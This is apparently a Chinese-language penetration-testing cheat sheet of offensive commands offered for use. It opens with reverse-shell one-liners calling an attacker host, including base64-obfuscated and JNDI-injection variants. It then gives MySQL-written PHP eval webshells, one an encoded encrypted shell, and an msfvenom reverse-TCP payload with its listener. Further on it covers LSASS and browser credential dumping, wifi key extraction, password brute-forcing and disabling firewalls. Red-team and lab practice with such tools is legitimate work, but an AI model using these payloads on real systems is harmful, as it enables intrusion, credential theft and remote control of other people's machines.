攻防渗透常用命令

First Post:

Last Update:

攻防渗透常用命令速查

建议配合CTRL+F进行查询

目录

反弹Shell

常用反弹shell方式如下(bash/curl/http),其他反弹shell方式参考:Click Here

bash

1
bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

curl

攻击方:

1
cat bash.html/bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

被控端:

1
curl 192.168.35.152/bash.html|bash

http

攻击方:

1
2
# 编写shell脚本并启动http服务器
echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.shpython2环境下:python -m SimpleHTTPServer 80python3环境下:python -m http.server 80

被控端:

1
2
3
4
# 上传shell.sh文件
wget 192.168.35.152/shell.sh
# 执行shell.sh文件
bash shell.sh

java

java.lang.Runtime.exec() Payload:https://www.bugku.net/runtime-exec-payloads/

1
2
# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'

URLencode bypass:

1
2
# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'

ssh无记录shell

1
ssh -T root@1.1.1.1 /usr/bin/bash -i

python交互shell

1
python2 -c 'import pty;pty.spawn("/bin/sh")'
1
python3 -c "import pty;pty.spawn('/bin/bash')"

图片马制作

1
copy 1.jpg/b+1.php/a 2.jpg

按首字母排序

AlliN

1
2
3
4
5
# 按域名爬取
python AlliN.py --host $host -m subscan --project $project --timeout 6

# 按文件爬取
python AlliN.py -f domain.txt

Arjun

1
2
3
4
5
6
7
8
9
10
11
# Scan a single URL
arjun -u https://api.example.com/endpoint

# Specify HTTP method
arjun -u https://api.example.com/endpoint -m POST

# Import targets
arjun -i targets.txt

# Export result
arjun -u https://api.example.com/endpoint -oJ result.json------------------oJ result.json-oT result.txt-oB 127.0.0.1:8080

dirsearch

1
2
3
4
5
6
7
8
9
# 选项
-u 目标
-e 文件扩展名
-x 排除状态码结果
-w 指定字典
-r 递归扫描
-R 设置递归级别
-t 设置线程数(50-100)
-c cookie
1
2
# 默认字典
python3 dirsearch.py -u https://target -x 403
1
2
3
4
5
# 自定义字典
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist

# -w指定一个字典,若其中的字符串没有后缀,可以通过--suffixes进行添加
python3 dirsearch.py -u https://target -w /path/to/wordlist --suffixes=.php.bak
1
2
3
4
# 配置代理
python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080

python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://1.1.1.1:8080
1
2
# 排除404
python3 dirsearch.py -u https://target -u 404

dirmap

1
2
3
4
5
6
7
8
9
10
11
12
# 单目标
python dirmap.py -i https://target.com -lcf
python dirmap.py -i 192.168.1.1 -lcf

# 子网
python dirmap.py -i 192.168.1.0/24 -lcf

# 网络范围
python dirmap.py -i 192.168.1.1-192.168.1.100 -lcf

# 文件读取
python dirmap.py -iF targets.txt -lcf

EHole

1
2
3
4
5
6
7
8
9
# 系统指纹探测
# 本地识别
EHole -l url.txt //URL地址需带上协议,每行一个

# FOFA识别
EHole -f 192.168.1.1/24 //支持单IP或IP段

# 结果输出
EHole -l url.txt -json export.json //结果输出至export.json文件

ENScan_GO

1
2
3
4
5
# 企业信息收集
ENScanPublic_amd64_linux -n 小米

# 备案信息获取
ENScanPublic_amd64_linux -n 小米 -field website

find

1
2
# 查看拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
1
2
# find结合set权限位提权
find /usr/bin/vim -exec "whoami" \;
1
2
# 全盘查找含有 flag 的文件
grep flag -r /
1
2
# 查找备份压缩包文件
find / -name *.tar.gz或find / -name *.zip
1
2
# 查找包含关键字的文件
find /etc -type f | xargs -I {} grep -l server {}

Linux找目录

1
2
3
4
# 写文件(www同目录)
find /root -name www|while read file;do sh -c "echo $file">$(dirname $file)/dir.txt;done
# 写文件(www目录下)
find /root -name www|while read file;do sh -c "echo $file">$file/dir.txt;done
1
2
3
4
# 删文件(www同目录)
find /root -name www|while read file;do sh -c "rm $(dirname $file)/dir.txt";done
# 删文件(www目录下)
find /root -name www|while read file;do sh -c "rm $file/dir.txt";done

Windows找目录

1
2
3
4
# 写文件(www同目录)
for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (echo %i > %i\..\dir.txt)
# 写文件(www目录下)
for /f %i in ('dir /s /b C:\Users\whoami\www') do (echo %i > %i\dir.txt)
1
2
3
4
# 删文件(www同目录)
for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (del %i\..\dir.txt)
# 删文件(www目录下)
for /f %i in ('dir /s /b C:\Users\whoami\www') do (del %i\dir.txt)

ffuf

1
ffuf.exe -c -w /path/to/wordlist -u http://ip/FUZZ

fscan

1
2
# -np跳过存活检测
fscan -hf hosts.txt -np --nopoc -t 100
1
2
3
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 -p 8000-9000 (指定端口扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)

fscan 默认端口:

1
21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017

grep

1
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r / --color=auto
1
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
1
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" fold/
1
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt

hping3

重要端口

1
21,22,23,53,80,111,389,443,445,512,873,1433,1521,2049,2181,2375,3306,3389,4848,5432,5601,5672,5900,5984,6379,7001,8000-9000,9060,9092,9200,9300,10000,10051,11211.20880,27017,28017,50030,50070
1
8080,8081,8089,8090,8095,8161,8888,8983,9000
1
hping3 -S 1.1.1.1 --scan 1-65535

hydra

1
2
3
4
5
6
7
8
9
10
# 选项
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口
-e ns 空密码试探
-M 指定目标列表文件,一行一条
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
1
hydra -L /root/user.txt -P pass.txt 1.1.1.1 mysql
1
hydra -L /root/user.txt -P pass.txt 1.1.1.1 ssh -s 22 -t 4
1
hydra -L /root/user.txt -P pass.txt 1.1.1.1 rdp -V
1
hydra -L /root/user.txt -P pass.txt 1.1.1.1 smb -vV
1
hydra -L /root/user.txt -P pass.txt ftp://1.1.1.1
1
2
3
4
5
6
7
8
# 破解SSH
hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns -M IP列表文件 ssh

# 破解RDP
hydra -l 用户名 -P 密码字典 -t 线程 -vV -M IP列表文件 rdp

# 破解FTP
hydra -l 用户名 -P 密码字典 -t 线程(默认16) -vV IP地址ftp

JNDI

1
2
# https://github.com/welk1n/JNDI-Injection-Exploit
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
1
2
3
4
# https://github.com/WhiteHSBG/JNDIExploit
GET /solr/admin/cores?action=${jndi:ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3} HTTP/1.1
-------------
/ateam pass1024
1
2
3
4
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ls" -A "127.0.0.1"

# java.lang.Runtime.exec() Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "127.0.0.1"

HackBrowerserData

1
> .\hack-browser-data.exe -b all -f json --dir results -zip

kscan

1
2
3
4
5
6
7
8
9
10
11
# 端口扫描
kscan -t 192.168.174.1/24

# 存活网段
kscan --spy

# 暴力破解
kscan -t 192.168.174.128 --hydra

# CDN识别
kscan -t www.baidu.com

ksubdomain

1
2
3
4
5
6
7
8
# 使用内置字典爆破
ksubdomain -d seebug.org

# 使用字典爆破域名
ksubdomain -d seebug.org -f subdomains.dict

# 字典里都是域名,可使用验证模式
ksubdomain -f dns.txt -verify

mysql

不登录直接执行sql语句

1
2
mysql -uroot -ppassword test -e "select now()" -N > test.txt
mysql -uroot -e "show databases;" > test.txt

getshell

1
2
3
show variables like '%secure%'    
select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';
select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
1
2
3
set global general_log=on;  
set global general_log_file='/var/www/1.php';
select '<?php eval($_POST[s6]) ?>';
1
select '<?php file_put_contents("index.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/www/index.php';

medusa

1
2
3
4
5
6
7
8
# 语法规则
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] -M module

# 选项
-h 目标名或IP -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
1
medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
1
medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
1
2
3
4
5
# MySQL破解
medusa -h ip -u sa -P pass.txt -t 5 -f -M mssql

# SSH破解
medusa -H host.txt -U user.txt -p password -M ssh

nmap

  • 内网尽量不要使用nmap,用hping3代替
1
2
3
4
5
6
7
8
9
# 选项
-sn 只做 PING 扫描,不做端口扫描
-sV 探测开放的端口的系统/服务信息
-sP PING 扫描(打印出对 PING 扫描做出响应的主机,不进行进一步测试,无法用于端口扫描)
-sT TCP Connect 扫描
-sS TCP SYN 扫描
-sU UDP 扫描

--script=<Lua scripts> 指定脚本名称
1
nmap -sn 1.1.1.0/24
1
nmap -sV 1.1.1.1 -p 8080
1
nmap -p445 1.1.1.1 --script smb-vuln-ms17-010
1
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p 1-65535 -iL ip.txt -oX output.xml

OneForAll

1
2
python oneforall.py --target example.com run
python oneforall.py --targets ./example.txt run

scaninfo

1
scaninfo -uf  url.txt -m  webfinger  web指纹识别
1
scaninfo  -i  192.168.0.0/24  -p  1-65535  -eq 53  -m port 端口扫描
1
scaninfo  -i  192.168.0.0/24  -l ip.txt  -uf  url.txt -t1000   可以组合各种目标ip段ip文件url文件 

sqlmap

1
2
3
# 选项
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件
--dump 转储数据库表项
1
python sqlmap.py -u "https://www.xxx.com/post.php?id=1" --proxy "http://127.0.0.1:1080"
1
python sqlmap.py  -u "http://www.xxx.com" –cookie "id=11" --level 2
1
python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3 
1
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql  --dbs
1
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql  -D test --tables
1
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql  -D test -T admin –-columns
1
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql -D test -T admin -C "username,password" --dump
1
python sqlmap.py -r "c:\url.txt" -p id –dbms mysql –file-read="C:/example.exe"

TideFinger

1
python TideFinger.py -u http://192.168.0.1:8080/

URLFinder

1
2
URLFinder.exe -u http://ip -s all -m 2
URLFinder.exe -u http://ip -s 200,403 -m 2
1
URLFinder.exe -s all -m 2 -f url.txt -o D:/

Vulmap

1
2
python vulmap.py -u http://example.com
python vulmap.py -f list.txt
1
2
# 检查站点是否存在 struts2 漏洞
python3 vulmap.py -u http://example.com -a struts2
1
2
3
# 对 http://example.com:7001 进行 WebLogic 的 CVE-2019-2729 漏洞利用
python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729
python3 vulmap.py -u http://example.com:7001 -m exp -v CVE-2019-2729

Xray

1
2
3
4
5
6
7
8
# 网络扫描
.\xray_windows_386.exe webscan --listen 127.0.0.1:7777 --html-output xray.html

# 服务扫描
.\xray_windows_386.exe servicescan --target 1.1.1.1:8080

# 指定插件
xray webscan --plugins cmd-injection,sqldet --url http://example.comxray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777

数据库连接

Redis

1
redis-cli -h 目标主机IP地址 -p 端口号

Postgresql

1
2
# 查询当前db中所有表的信息
select * from pg_tables

内网信息收集

重要端口及服务

port service description
21 FTP FTP控制端口,检查匿名登录、弱口令
22 SSH SSH远程登录协议,检查弱口令
23 Telnet Telnet终端仿真协议
53 DNS服务
80 Web 检查常见Web漏洞及管理后台
111 NFS 网络文件系统
389 LDAP 轻型目录访问协议,检查是否存在匿名访问
443 OpenSSL 检查心脏滴血及Web漏洞
445 SMB 检查是否存在MS17-010、MS08-067漏洞
512 Rexec 检查远程shell命令及暴力破解
873 Rsync 检查匿名登录、弱口令
1433 SQL Server 数据库服务
1521 Oracle 数据库服务
2049 NFS NFS未授权访问
2181 Zookeeper 分布式协调系统
2375 Docker Remote API未授权访问
3306 MySQL 数据库服务
3389 RDP 远程桌面
4848 GlassFish 未授权访问
5432 PostgreSQL 数据库服务
5601 Kibana 开源分析及可视化平台
5672 RabbitMQ 开源消息队列服务软件
5900 VNC 远程桌面控制软件,检查弱口令
5984 CouchDB 数据库服务
6379 Redis 数据库服务
7001 Weblogic Weblogic Console默认端口
8000-9090 Web 常见Web端口,运维一般将管理后台开在这些非80端口上
8080 Jenkins
8080 Kubernetes Api Server
8081 Apache-Flink
8089 Druid
8090 Confluence
8095 Atlassian Crowd
8161 Active MQ
8888 Jupyter Notebook
8983 Solr
9000 Fast-CGI 对外访问可直接Get shell
9060 Websephere 管理端口
9092 Kafka 开源流处理平台
9200 Elasticsearch(http) 全文搜索引擎
9300 Elasticsearch(tcp) 全文搜索引擎
10000 Virualmin/Webmin 服务器虚拟主机管理系统
10051 Zabbix 监控系统
11211 Memcache 分布式高速缓存系统,检查未授权访问
20880 Dubbo 阿里巴巴开源分布式服务框架
27017 MongoDB 数据库服务
28017 MongoDB 数据库服务(统计页面)
50030 Hadoop Hive
50070 Hadoop

Windows信息收集

查找文件 find/findstr

1
2
3
4
5
6
7
8
9
# 全盘查找文件,一定要加一个星号
for /r c:\ %i in (password.txt*) do @echo %i
for /r c:\ %i in (*.ini) do @echo %i

# 查找 C 盘中包含 password 字样的文件,一定要双引号
findstr /s /n "password" c:\*

# 查找 pwd.txt 中是否包含 password 字样,一定要双引号
find /N /I "password" pwd.txt

设置活动代码页编号 chcp

1
chcp 65001

查看系统信息 systeminfo

1
2
3
4
5
6
7
8
9
10
11
# 查看全部信息
systeminfo

# 查看英文版操作系统和版本信息
systeminfo | findstr /B /C:"OS name" /C:"OS Version"

# 查看中文版操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

# 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%

查看环境变量 set

1
set

查看网络配置信息 ipconfig

  • 域内的DNS服务器即域控。
1
ipconfig /all

查看当前用户信息 whoami

1
whoami /all

查看路由表 route

1
route print

查看arp缓存表 arp

1
arp -a

查看用户信息 net user/localgroup

  • 通过分析本机用户列表,可以找出内网机器的命名规则。特别是个人机器的名称,可以用来推测整个域的用户命名方式。
1
2
3
4
5
6
7
8
9
10
11
# 查看指定用户信息
net user

# 查看本地组信息
net localgroup

# 查看本地管理员用户
net localgroup administrators

# 查看当前在线用户
query user || qwinsta

查看主机开启时间 net statistics

1
net statistics workstation

查看安装软件及版本信息 wmic product

1
wmic product get name,version

利用PowerShell收集软件版本信息

1
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

查看本机服务信息 wmic service

1
wmic service list brief

查看补丁信息 wmic qfe

1
2
3
4
5
# 查看补丁信息
wmic qfe list

# 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn
metasploit enum_patches
1
meterpreter > run post/windows/gather/enum_patches
windows exploit suggester
1
2
3
4
$ activate py27
$ python windows-exploit-suggester.py --update
$ pip install xlrd==1.2.0 -i https://pypi.tuna.tsinghua.edu.cn/simple
$ python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo systeminfo.txt

查看共享列表 wmic share

1
wmic share get name,path,status

查看进程列表 tasklist

1
2
3
4
5
6
7
8
# 查看进程列表
tasklist

# 查看当前进程列表所对应的用户身份
tasklist /v

# 查看是否有杀软
tasklist /svc

查看计划任务 schtasks

通过查看本机计划任务就能知道当前机器上某个时间会运行哪些软件了,就可以利用这一点来做定时任务劫持。

1
schtasks /query /fo LIST /v

查看端口信息 netstat

1
netstat -ano

查看防火墙配置 netsh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 关闭防火墙
netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统之后版本)

# 查看防火墙配置
netsh firewall show config

# 修改防火墙配置(Windows Server 2003 系统及之前版本)
# 允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

# 修改防火墙配置(Windows Server 2003 之后系统版本)
# 允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
# 允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
# 允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查看wifi信息

1
for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

查看网络代理信息

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查看PPTP配置信息

Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:

1
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令。

查看RDP远程桌面信息

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"

查看数据库密码

1
2
cd /web
findstr /s /m "password" *.*

查看服务信息 sc query

1
sc query

导出注册表信息 reg

1
2
reg export HKLM hklm.reg
reg export HKCU hkcu.reg

导出日志信息

  • 导出到本地使用LogParser查看:
1
2
3
copy C:\Windows\System32\winevt\Logs\System.evtx
copy C:\Windows\System32\winevt\Logs\security.evtx
copy C:\Windows\System32\winevt\Logs\application.evtx

查看hosts文件

1
C:\Windows\System32\drivers\etc\hosts

查看中间件信息

1
2
3
4
5
# 列出网站列表
%windir%\system32\inetsrv\AppCmd.exe list site

# 列出网站物理路径
%systemroot%\system32\inetsrv\appcmd.exe list vdir

查看组策略 gpresult

1
2
# 生成组策略报表
gpresult /h <filename> htm

查看启动项

1
2
# 使用注册表查询
reg query HKLM\Software\Microsoft\Windows\CurrentVertion\Run

抓取密码 mimikatz

1
2
3
4
5
procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

浏览器密码

Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下:

1
%LocalAppData%\Google\Chrome\User Data\Default\Login Data

可以使用USBStealter导出浏览器历史记录以及密码。或者使用https://github.com/AlessandroZ/LaZagne:

1
LaZagne.exe browsers-chrome

此工具也支持firefox以及系统中其他密码的导出。

查看回收站

1
2
cd C:\$Recycle.Bin\,使用dir /A查看隐藏文件
S-1 xxx 分别对应不同用户的回收站
1
procdump dump csrss.exe进程

查看域信息 nltest/net

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 查看域控
nltest /dsgetdc:域名
nltest /dclist:domain-a

# 查看域之间的信任关系
nltest /domain_trusts

# 查看域用户
net user /domain

# 查看域用户组
net group /domain

# 查看域管理组成员
net group "domain admins" /domain

# 查看管理员登陆时间、密码过期时间,是否有登陆脚本、组分配等信息
net user domain-admin /domain

# 查看域时间及域服务器名字,/domain只能是在域机器上执行 workgroup工作组不能执行
net time /domain
-------------------
此命令有三种情况:
1). 存在域,当前不是域用户
显示: 发生系统错误5. 拒绝访问

2). 存在域,当前用户是域用户
显示: 域,和当前被害人机器上的时间

3). 不存在域
显示: 找不到域 workgroup的域控制器,请键入net help....

Linux信息收集

操作系统基本信息

1
2
3
4
5
6
7
8
9
10
uname -a            # 打印所有可用信息
uname -r # 内核版本信息
uname -n # 系统主机名字
uname -m # Linux内核架构
hostname # 主机名
cat /proc/version # 内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
cat /proc/cpuinfo # cpu信息
df -a # 文件信息

系统环境信息

1
2
3
4
5
6
7
env                    # 输出系统环境信息
set # 打印系统环境信息
echo $PATH # 输出环境变量中的路径信息
history # 打印历史命令
pwd # 当前路径
cat /etc/profile # 显示默认系统环境变量
cat /etc/shells # 显示可用的shell

系统服务信息

1
2
3
ps -aux                # 查看进程信息
top # 当前进程
netstat -anptu # 查看当前交互端口

系统软件信息

1
2
dpkg -l                # 查看已经安装的软件列表(debian/ubuntu)
rpm -qa # 查看已经安装的软件列表(redhat/centos)

通常程序都是通过-v或-V参数来获取版本信息,例如:

1
sudo -V

程序的一些配置文件路径,通常为.conf.ini或其他后缀结尾:

1
2
3
4
5
/etc/apache2/apache2.conf            # apache默认配置文件    
/usr/local/nginx/conf/nginx.conf # nginx默认配置文件
/usr/local/app/php5/lib/php.ini # php默认配置文件
/etc/my.cnf # mysql配置文件
/var/log/ # log目录下记录各种软件执行的日志

系统任务和作业

1
2
3
4
crontab                # 计划任务管理
/etc/crontab # 计划任务配置文件(可能记录了用户自行添加的任务)
jobs -l # 列出后台作业
ls /etc/cron* # 列出计划任务

crontab -l -u用户名,不加-u默认列出当前用户的计划任务,加-u列出指定用户的计划任务(需要root权限)

用户信息和组信息

1
2
3
4
5
6
7
8
9
10
11
cat /etc/passwd        # 查看系统所有用户
grep -v -E "^#" /etc/passwd | awk -F: '$3==0{print $1}' # 查看超级用户
cat /etc/group # 查看系统所有组
cat /etc/shadow # 查看系统所有用户的hash(需要root权限)
users # 查看当前登陆的用户
who -a # 查看当前登陆的用户
w # 查看当前登陆的用户有那些人,以及它们执行的程序
last # 显示登陆用户的信息
lastlog # 显示系统中所有用户最近一次登陆的信息
lastlog -u %username% # 有关指定用户上次登录的信息
lastlog | grep -v "Never" # 以前登录用户的信息

用户和权限信息

1
2
3
4
whoami                # 查看当前用户
id # 列出当前用户详细信息
cat /etc/sudoers # 查看可以提升到root权限的用户
sudo -l # 列出当前用户可执行和不可执行的命令

系统网络和路由信息

1
2
3
4
5
6
7
8
9
ifconfig -a                        # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 列出系统arp表
route # 打印路由信息
cat /etc/resolv.conf # 查看dns配置信息
netstat -an # 打印本地开放信息
iptables -L # 列出iptables配置规则
cat /etc/services # 查看端口服务应黑
cat /etc/hosts # hosts文件信息

获取其他信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 查找拥有SUID的文件
find / -perm -4000 -type f

# 查找root权限的SUID文件
find / -uid 0 -perm -40^0 -type f

# 查找可写目录
find / -perm -2 -type d

# 查看当前用户的历史记录
cat ~/.bash_history

# 查看用户ssh登陆信息
ls ~/.ssh/

# 查找备份压缩包文件
find / -name *.tar.gz或find / -name *.zip

# 查找filename.ext文件
find / -name filename.ext

# 全盘查找含有 flag 的文件
grep flag -r /

域内信息收集

判断是否存在域

ipconfig
1
2
3
4
5
# 查看网关IP地址、DNS IP地址、域名、本机是否和DNS服务器处于同一网段
ipconfig /all

# 解析域名IP地址,查看是否与DNS服务器为同一IP
nslookup test.com
查看系统详细信息 systeminfo
1
systeminfo | findstr 域
查看当前登录域与域用户 netconfig
1
net config workstation | findstr 域
判断主域 net time
1
net time /domain

收集域内基础信息

查看域 net view
1
net view /domain
查看域内计算机 net view
1
net view /domian:domain_name
查看域内用户组列表 net group
1
net group /domain
查看域管理员列表 net group
1
net group "domain admins" /domain
查看企业管理员列表 net group
1
net group "enterprise admins" /domain

查看域内置administrator组用户

1
net localgroup administrators /domain
查看域密码策略信息 net accounts

密码长短、错误锁定等信息。

1
net accounts /domain
查看域信任信息 nltest
1
nltest /domain_trusts

收集域用户和管理员信息

查询域用户列表 net user
1
net user /domain
查询域用户详细信息 wmic useraccount
1
wmic useraccount get /all
1
net user someuser /domain
查询存在的用户
1
dsquery user

收集域控制器信息

查看域控主机名
1
nltest /DCLIST:npc
1
nslookup -type=SRV _ladp._tcp
1
netdom query pdc
查看域控制器列表 net group
1
net group "domain controllers" /domain

查找域管理员进程

获取域管理员列表
1
net group "domain admins" /domain
列出本机的所有进程及进程用户
1
tasklist /v

定位域管理员

psloggedon查询

直接运行该程序即可:

1
> Psloggedon.exe
netview查询
1
netview.exe -d

netview参数:

1
2
3
4
5
6
-f filename.txt:指定要提取主机列表的文件
-e filename.txt:指定要排除的主机名的文件
-o filename.txt:将所有输出重定向到指定的文件
-d domain:指定要提取主机列表的域
-g group:指定要搜索的组名
-c:对已经找到的共享目录/文件的访问权限进行检查

内网穿透代理

Neo-reGeorg

  1. 攻击机生成tunnel.(aspx|ashx|jsp|jspx|php) 并上传Web Server 1.1.1.1
1
python neoreg.py generate -k password
  1. 攻击机通过neoreg.py连接Web Server
1
python neoreg.py -k password -u http://1.1.1.1/tunnel.jsp
  1. 配置本地代理访问内网服务
1
SOCKS5    127.0.0.1    1080

ssh

将对A:X的访问转变成对C:Z的访问

1
2
3
4
ssh -L 主机A端口X:主机C:主机C端口Z -N -f username@hostname

# 例如
ssh -L 27689:192.168.20.100:27689 -N -f root@172.16.0.10

nps

  1. 攻击机启动服务,新增client,新增socks5
1
2
3
sudo -s
./nps install
./nps
  1. 上传nps client,根据给出的命令连接nps server
1
2
3
4
5
# Windows客户端
.\npc.exe -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp

# Linux客户端
.\npc -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp

frp

  1. 根据配置文件frps.ini运行服务端
1
2
3
4
5
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = <your-password-here>
1
./frps -c frps.ini  
  1. 根据配置文件frpc.ini运行客户端
1
2
3
4
5
6
7
8
9
[common]
server_addr = <your-vps-ip-here>
server_port = 7000

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 9001
1
./frpc -c frpc.ini  
  1. msf生成木马/behinder3生成木马
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-vps-ip-here> LPORT=9001 -f exe > shell.exe
  1. msf监听反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
msf > use exploit/multi/handler

# 监听windows shell
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp

# 监听behinder3 shell
msf exploit(multi/handler) > set PAYLOAD java/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 127.0.0.1

msf exploit(multi/handler) > set LPORT 4444

msf exploit(multi/handler) > run

内网权限提升

Windows系统提权

Windows-Exploit-Suggester进行缺失补丁信息收集:

1
python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo win7_systeminfo.txt

通过补丁信息判断当前系统是否可以通过以下内核漏洞进行提权:

  • CVE-2019-0803
  • CVE-2018-8120
  • CVE-2018-8440

Linux系统提权

查找系统中存在suid的可执行文件:

1
find / -perm -u=s -type f 2>/dev/null

